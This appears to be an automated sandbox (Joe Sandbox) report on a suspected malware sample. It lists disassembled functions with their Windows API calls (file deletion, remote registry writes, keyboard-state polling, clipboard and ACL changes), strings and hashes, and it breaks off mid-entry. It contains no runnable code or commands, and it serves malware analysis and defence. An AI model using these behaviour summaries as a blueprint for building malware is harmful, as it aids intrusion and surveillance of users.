Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 3a36bfd2053e197cbe2355059839b4849b6ad7d334df16dcedc3773e2303491d
Instruction ID: 3e1a64176d081be80a5ce372e93968ee2b2fbb62c3354da088a6b033ba747331
Opcode Fuzzy Hash: 3a36bfd2053e197cbe2355059839b4849b6ad7d334df16dcedc3773e2303491d
Instruction Fuzzy Hash: 42A14CB2528305ABC714EF64CD86DAFB7ECBF95700F400929B586C3191EA74DA58CB62

Function 0029F200 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75701228,?,00000000), ref: 0029F221
_wcscmp.LIBCMT ref: 0029F236
_wcscmp.LIBCMT ref: 0029F24D
GetFileAttributesW.KERNEL32(?), ref: 0029F25F
SetFileAttributesW.KERNEL32(?,?), ref: 0029F279
FindNextFileW.KERNEL32(00000000,?), ref: 0029F291
FindClose.KERNEL32(00000000), ref: 0029F29C
FindFirstFileW.KERNEL32(*.*,?), ref: 0029F2B8
_wcscmp.LIBCMT ref: 0029F2DF
_wcscmp.LIBCMT ref: 0029F2F6
SetCurrentDirectoryW.KERNEL32(?), ref: 0029F308
SetCurrentDirectoryW.KERNEL32(002EA5A0), ref: 0029F326
FindNextFileW.KERNEL32(00000000,00000010), ref: 0029F330
FindClose.KERNEL32(00000000), ref: 0029F33D
FindClose.KERNEL32(00000000), ref: 0029F34F

Strings

*.*, xrefs: 0029F2B3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: c7516a24d56cce0a5226def465fa25fa9911e62b8df06296bcc95c3699977351
Instruction ID: c0ba416a10735677a0a14d81bb2e361bc2552bf614b7ab303a5dfd11269d45c8
Opcode Fuzzy Hash: c7516a24d56cce0a5226def465fa25fa9911e62b8df06296bcc95c3699977351
Instruction Fuzzy Hash: 8D31087691024A6ACF90DFB4ED4CAEEB3AC9F09361F5402B5EC04D3090EB34DA64CA54

Function 002B0AE2 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 002B0BDE
RegCreateKeyExW.ADVAPI32(?,?,00000000,002BF910,00000000,?,00000000,?,?), ref: 002B0C4C
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 002B0C94
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 002B0D1D
RegCloseKey.ADVAPI32(?), ref: 002B103D
RegCloseKey.ADVAPI32(00000000), ref: 002B104A

Strings

REG_EXPAND_SZ, xrefs: 002B0CBA
REG_MULTI_SZ, xrefs: 002B0E05
REG_QWORD, xrefs: 002B0F8B
REG_DWORD, xrefs: 002B0F0E
REG_BINARY, xrefs: 002B0FD8
REG_SZ, xrefs: 002B0D5B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: c2dad6fbe6e35634ba0a5eb68f043db2d8017355145efd3d08dd48eb46bedec0
Instruction ID: 543c39be6f33461299d1e313a08cc4bf5dd1803322183333143038cb4bd397ae
Opcode Fuzzy Hash: c2dad6fbe6e35634ba0a5eb68f043db2d8017355145efd3d08dd48eb46bedec0
Instruction Fuzzy Hash: A7026B752206019FCB14EF14C895A6AB7E5FF89750F04895DF88A9B3A2CB70ED61CF81

Function 002BC8EE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfilenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

DragQueryPoint.SHELL32(?,?), ref: 002BC917

Part of subcall function 002BADF1: ClientToScreen.USER32(?,?), ref: 002BAE1A
Part of subcall function 002BADF1: GetWindowRect.USER32(?,?), ref: 002BAE90
Part of subcall function 002BADF1: PtInRect.USER32(?,?,002BC304), ref: 002BAEA0

SendMessageW.USER32(?,000000B0,?,?), ref: 002BC980
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 002BC98B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 002BC9AE
_wcscat.LIBCMT ref: 002BC9DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 002BC9F5
SendMessageW.USER32(?,000000B0,?,?), ref: 002BCA0E
SendMessageW.USER32(?,000000B1,?,?), ref: 002BCA25
SendMessageW.USER32(?,000000B1,?,?), ref: 002BCA47
DragFinish.SHELL32(?), ref: 002BCA4E
NtdllDialogWndProc_W.NTDLL(?,00000233,?,00000000,?,?,?), ref: 002BCB41

Strings

pr/, xrefs: 002BCA8B
@GUI_DRAGFILE, xrefs: 002BCAF0
@GUI_DRAGID, xrefs: 002BCAB9
@GUI_DROPID, xrefs: 002BCA6E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientDialogFinishLongNtdllPointProc_Screen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pr/
API String ID: 2166380349-2016967953
Opcode ID: 81dc582822e5e337836da3b9a97f25f0676f5b95fd92b2511fddb1d5d5b33ab9
Instruction ID: 2184f947915de74226833437e100b51d24999af08102901b4b6b5b9e071f07f3
Opcode Fuzzy Hash: 81dc582822e5e337836da3b9a97f25f0676f5b95fd92b2511fddb1d5d5b33ab9
Instruction Fuzzy Hash: 70615DB1118301AFC711DF50DC89DAFBBE8EF89750F100A2EF591961A1DB70A959CF52

Function 0029F35D Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75701228,?,00000000), ref: 0029F37E
_wcscmp.LIBCMT ref: 0029F393
_wcscmp.LIBCMT ref: 0029F3AA

Part of subcall function 002945C1: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 002945DC

FindNextFileW.KERNEL32(00000000,?), ref: 0029F3D9
FindClose.KERNEL32(00000000), ref: 0029F3E4
FindFirstFileW.KERNEL32(*.*,?), ref: 0029F400
_wcscmp.LIBCMT ref: 0029F427
_wcscmp.LIBCMT ref: 0029F43E
SetCurrentDirectoryW.KERNEL32(?), ref: 0029F450
SetCurrentDirectoryW.KERNEL32(002EA5A0), ref: 0029F46E
FindNextFileW.KERNEL32(00000000,00000010), ref: 0029F478
FindClose.KERNEL32(00000000), ref: 0029F485
FindClose.KERNEL32(00000000), ref: 0029F497

Strings

*.*, xrefs: 0029F3FB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: ba058e83014a5bea30895eddaf8b008fbdd964f7b7fcb3f76a994e85e9253c76
Instruction ID: d69190834adf476c3bf37971f5655c632ab3dd8a335f3627f6f18b89e0a275d5
Opcode Fuzzy Hash: ba058e83014a5bea30895eddaf8b008fbdd964f7b7fcb3f76a994e85e9253c76
Instruction Fuzzy Hash: 6D31073251025A6BCF90DF64ED88AEEB3AC9F09364F1402B5E910E30A0E734DA64CB64

Function 002BC49C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windownativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 002BC4EC
GetFocus.USER32 ref: 002BC4FC
GetDlgCtrlID.USER32(00000000), ref: 002BC507
_memset.LIBCMT ref: 002BC632
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 002BC65D
GetMenuItemCount.USER32(?), ref: 002BC67D
GetMenuItemID.USER32(?,00000000), ref: 002BC690
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 002BC6C4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 002BC70C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 002BC744
NtdllDialogWndProc_W.NTDLL(?,00000111,?,?,?,?,?,?,?), ref: 002BC779

Strings

0, xrefs: 002BC62A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlDialogFocusLongMessageNtdllPostProc_RadioWindow_memset
String ID: 0
API String ID: 3616455698-4108050209
Opcode ID: 131912f9d19093b7350f7d2ec633c1581e6445d737081e36595aa6b0a00da76c
Instruction ID: 29fed3d246b17fe6a9e2759828f54aeea4e4721eb96d3b786b12cb3da9d93886
Opcode Fuzzy Hash: 131912f9d19093b7350f7d2ec633c1581e6445d737081e36595aa6b0a00da76c
Instruction Fuzzy Hash: 7D81A1705183029FD720CF14D988EABBBE8FB88394F20452EF99597291CB70E915DF91

Function 002881F7 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0028874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00288766
Part of subcall function 0028874A: GetLastError.KERNEL32(?,0028822A,?,?,?), ref: 00288770
Part of subcall function 0028874A: GetProcessHeap.KERNEL32(00000008,?,?,0028822A,?,?,?), ref: 0028877F
Part of subcall function 0028874A: RtlAllocateHeap.NTDLL(00000000,?,0028822A), ref: 00288786
Part of subcall function 0028874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0028879D

Part of subcall function 002887E7: GetProcessHeap.KERNEL32(00000008,00288240,00000000,00000000,?,00288240,?), ref: 002887F3
Part of subcall function 002887E7: RtlAllocateHeap.NTDLL(00000000,?,00288240), ref: 002887FA
Part of subcall function 002887E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00288240,?), ref: 0028880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0028825B
_memset.LIBCMT ref: 00288270
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0028828F
GetLengthSid.ADVAPI32(?), ref: 002882A0
GetAce.ADVAPI32(?,00000000,?), ref: 002882DD
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 002882F9
GetLengthSid.ADVAPI32(?), ref: 00288316
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00288325
RtlAllocateHeap.NTDLL(00000000), ref: 0028832C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0028834D
CopySid.ADVAPI32(00000000), ref: 00288354
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00288385
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 002883AB
SetUserObjectSecurity.USER32(?,00000004,?), ref: 002883BF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: 965b74db69033dd72edcb7ef5e5f36e1d1abb5df193869343abf8ee9f7608602
Instruction ID: ea5a0830452e85e54ab9355be3b2ecb7aed85a790fb4126215e38f34c5bd4cb8
Opcode Fuzzy Hash: 965b74db69033dd72edcb7ef5e5f36e1d1abb5df193869343abf8ee9f7608602
Instruction Fuzzy Hash: 78616C7591120AABDF00EFA4DD48AAEBBB9FF04700F448669F915A6291DB309A15CB60

Function 00246843 Relevance: 19.6, Strings: 15, Instructions: 883COMMON

Download Yara Rule

Strings

NO_START_OPT), xrefs: 00281588
CRLF), xrefs: 002816FA
LF), xrefs: 002816DD
UTF), xrefs: 00281533
UTF16), xrefs: 00281508
LIMIT_MATCH=, xrefs: 002815A9
ANY), xrefs: 00281717
BSR_ANYCRLF), xrefs: 00281757
NO_AUTO_POSSESS), xrefs: 00281567
BSR_UNICODE), xrefs: 00281771
Oa$, xrefs: 00281888, 0028192F, 002819DD
UCP), xrefs: 00281546
CR), xrefs: 002816C0
LIMIT_RECURSION=, xrefs: 00281635
ANYCRLF), xrefs: 00281734

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$Oa$$UCP)$UTF)$UTF16)
API String ID: 0-3353776154
Opcode ID: 13001e025dd30d6965c0d0e9859ae75daee9f3189a7e83c8b8085077c000a848
Instruction ID: b48a101afd21039dc34bc4ae44ad0802d79ccc05ee50e687379fd3e3d49ccfad
Opcode Fuzzy Hash: 13001e025dd30d6965c0d0e9859ae75daee9f3189a7e83c8b8085077c000a848
Instruction Fuzzy Hash: C6728075E2121ACBDB18DF58C8847AEB7B5EF48310F14816AE849EB2C0D7709DA1CF91

Function 002B0665 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002B10A5: CharUpperBuffW.USER32(?,?), ref: 002B10BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 002B0737

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 002B07D6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 002B086E
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 002B0AAD
RegCloseKey.ADVAPI32(00000000), ref: 002B0ABA

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: b910dbb4a5cc8edf4caf59c6cbc135c750c0bd52b5ba619e99c6aaacecb220c9
Instruction ID: 008c13dffaaecd299e4cfd49daf7c01da9e06e14d9292ab6f4edc3e115f23f86
Opcode Fuzzy Hash: b910dbb4a5cc8edf4caf59c6cbc135c750c0bd52b5ba619e99c6aaacecb220c9
Instruction Fuzzy Hash: F3E17C71214201AFCB15DF28C884E6BBBE4EF89754F04896DF58ADB2A2DA30E911CF51

Function 00290219 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00290241
GetAsyncKeyState.USER32(000000A0), ref: 002902C2
GetKeyState.USER32(000000A0), ref: 002902DD
GetAsyncKeyState.USER32(000000A1), ref: 002902F7
GetKeyState.USER32(000000A1), ref: 0029030C
GetAsyncKeyState.USER32(00000011), ref: 00290324
GetKeyState.USER32(00000011), ref: 00290336
GetAsyncKeyState.USER32(00000012), ref: 0029034E
GetKeyState.USER32(00000012), ref: 00290360
GetAsyncKeyState.USER32(0000005B), ref: 00290378
GetKeyState.USER32(0000005B), ref: 0029038A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0460de0f4d48499404c98df0c34a8715bc92ddd659e2b2495f45e044d6848cc2
Instruction ID: 0da543800fbca3d3d27767639b5306f498b15260646bb2ae7c1f597c0fbbf086
Opcode Fuzzy Hash: 0460de0f4d48499404c98df0c34a8715bc92ddd659e2b2495f45e044d6848cc2
Instruction Fuzzy Hash: A441FB209247CF6EFF714F6488883A5BEA0AF11340F4881DDD9C5461C2D7945DE4C7A6

Function 002A4458 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 002A447F
EmptyClipboard.USER32 ref: 002A4485
GlobalAlloc.KERNEL32(00000002,?), ref: 002A449A
CloseClipboard.USER32 ref: 002A4539

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: eb46c2ec4cbdeafaf5e20ec197b0dd8b7f2b7d9b0586630b886ce2ca6d9dcbf8
Instruction ID: c5371d93bf31396609878391f9f9e6ad51fe536f903dadb8a1076123c2c1f392
Opcode Fuzzy Hash: eb46c2ec4cbdeafaf5e20ec197b0dd8b7f2b7d9b0586630b886ce2ca6d9dcbf8
Instruction Fuzzy Hash: 4B21BF392202119FDB10AF64FD0DB6977A8EF45321F10812AFD46DB2A1DBB0EC10CB54

Function 00293A2B Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002348AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002348A1,?,?,002337C0,?), ref: 002348CE

Part of subcall function 00294CD3: GetFileAttributesW.KERNEL32(?,00293947), ref: 00294CD4

FindFirstFileW.KERNEL32(?,?), ref: 00293ADF
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00293B87
MoveFileW.KERNEL32(?,?), ref: 00293B9A
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00293BB7
FindNextFileW.KERNEL32(00000000,00000010), ref: 00293BD9
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00293BF5

Strings

\*.*, xrefs: 00293A8A, 00293A93, 00293AA8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: a8becdfa2c9c91d25f89870997c6853cebda0c21b7d6e80ec95124f0a223cc9e
Instruction ID: ca9f527d133911fd943c965a3e06f290678696c7c0b7df7df53276e3694e0edb
Opcode Fuzzy Hash: a8becdfa2c9c91d25f89870997c6853cebda0c21b7d6e80ec95124f0a223cc9e
Instruction Fuzzy Hash: B4518FB18112499ACF15FFA0DE928EDB7B9AF14304F6441A9E44677191EF306F29CFA0

Function 002BC27C Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 149nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

Part of subcall function 00232344: GetCursorPos.USER32(?), ref: 00232357
Part of subcall function 00232344: ScreenToClient.USER32(002F67B0,?), ref: 00232374
Part of subcall function 00232344: GetAsyncKeyState.USER32(00000001), ref: 00232399
Part of subcall function 00232344: GetAsyncKeyState.USER32(00000002), ref: 002323A7

ReleaseCapture.USER32 ref: 002BC2F0
SetWindowTextW.USER32(?,00000000), ref: 002BC39A
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 002BC3AD
